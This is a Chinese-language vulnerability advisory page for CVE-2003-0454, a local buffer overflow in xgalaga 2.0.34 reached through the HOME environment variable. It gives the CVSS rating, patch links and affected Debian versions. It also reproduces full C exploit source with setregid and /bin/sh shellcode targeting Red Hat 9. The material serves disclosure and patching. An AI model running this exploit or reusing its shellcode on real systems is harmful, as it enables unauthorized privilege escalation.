CVE-2003-0454
CVSS7.2
发布时间 :2003-08-07 00:00:00
修订时间 :2008-09-05 16:34:21
NMCOES    

[原文]Multiple buffer overflows in xgalaga 2.0.34 and earlier allow local users to gain privileges via a long HOME environment variable.


[CNNVD]XGalaga环境变量多个本地缓冲区溢出漏洞(CNNVD-200308-015)

        
        xgalaga是一款游戏程序。
        xgalaga没有正确处理HOME环境变量,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以game组权限在系统上执行任意指令。
        攻击者提供超长字符串作为HOME环境变量参数,执行xgalaga的时候可触发溢出,精心构建提交参数可能以game组权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0454
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0454
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200308-015
(官方数据源) CNNVD

- 其它链接及资源

http://www.debian.org/security/2003/dsa-334
(UNKNOWN)  DEBIAN  DSA-334

- 漏洞信息

XGalaga环境变量多个本地缓冲区溢出漏洞
高危 边界条件错误
2003-08-07 00:00:00 2005-11-29 00:00:00
本地  
        
        xgalaga是一款游戏程序。
        xgalaga没有正确处理HOME环境变量,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以game组权限在系统上执行任意指令。
        攻击者提供超长字符串作为HOME环境变量参数,执行xgalaga的时候可触发溢出,精心构建提交参数可能以game组权限在系统上执行任意指令。
        

- 公告与补丁

        厂商补丁:
        Debian
        ------
        
        http://www.debian.org/security/2003/dsa-334

- 漏洞信息 (71)

XGalaga 2.0.34 local game exploit (Red Hat 9.0) (EDBID:71)
linux local
2003-07-31 Verified
0 c0wboy
N/A [点击下载]
/* 0x333xgalaga => XGalaga 2.0.34 local game exploit (Red Hat 9.0)
*
* tested against xgalaga-2.0.34-1.i386.rpm
* under Red Hat Linux 9.0
*
* - bug found by Steve Kemp
* - exploit coded by c0wboy @ 0x333
*
* (c) 0x333 Outsider Security Labs / www.0x333.org
*
*/


#include <stdio.h>
#include <string.h>
#include <unistd.h>


#define BIN "/usr/X11R6/bin/xgalaga"
#define SIZE 264

#define RET 0xbffffe2c /* tested against Red Hat Linux 9.0 */
#define NOP 0x90


unsigned char shellcode[] =

/* setregid (20,20) shellcode */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80"

/* exec /bin/sh shellcode */

"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";


void banner (void);
void memret (char *, int, int, int);


void banner (void)
{
fprintf (stdout, "\n\n --- xgalaga local GAME exploit by c0wboy ---\n");
fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org ---\n\n");
}


void memret (char *buffer, int ret, int size, int align)
{
int i;
int * ptr = (int *) (buffer + align);

for (i=0; i<size; i+=4)
*ptr++ = ret;

ptr = 0x0;
}


int main ()
{
int ret = RET;
char out[SIZE];

memret ((char *)out, ret, SIZE-1, 0);

memset ((char *)out, NOP, 33);
memcpy ((char *)out+33, shellcode, strlen(shellcode));

setenv ("HOME", out, 1);

banner ();
execl (BIN, BIN, "-scores", 0x0); // the switch "-scores" is necessary to exploit the game
}

// milw0rm.com [2003-07-31]
		

- 漏洞信息

10613
xgalaga HOME Variable Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2003-06-28 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

XGalaga Environment Variable Multiple Buffer Overflow Vulnerabilities
Boundary Condition Error 8058
No Yes
2003-06-29 12:00:00 2009-07-11 10:56:00
Discovery of these vulnerabilities credited to Steve Kemp.

- 受影响的程序版本

xgalaga xgalaga 2.0.34
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0

- 漏洞讨论

Several buffer overflow vulnerabilities have been reported for xgalaga when parsing certain environment variables.

An attacker can exploit this vulnerability by setting an overly long environment variable and invoking xgalaga. This will result in the corruption of sensitive memory with attacker-supplied values.

- 漏洞利用

Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com &lt;mailto:vuldb@securityfocus.com&gt;.

- 解决方案

Debian fixes available:


xgalaga xgalaga 2.0.34

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站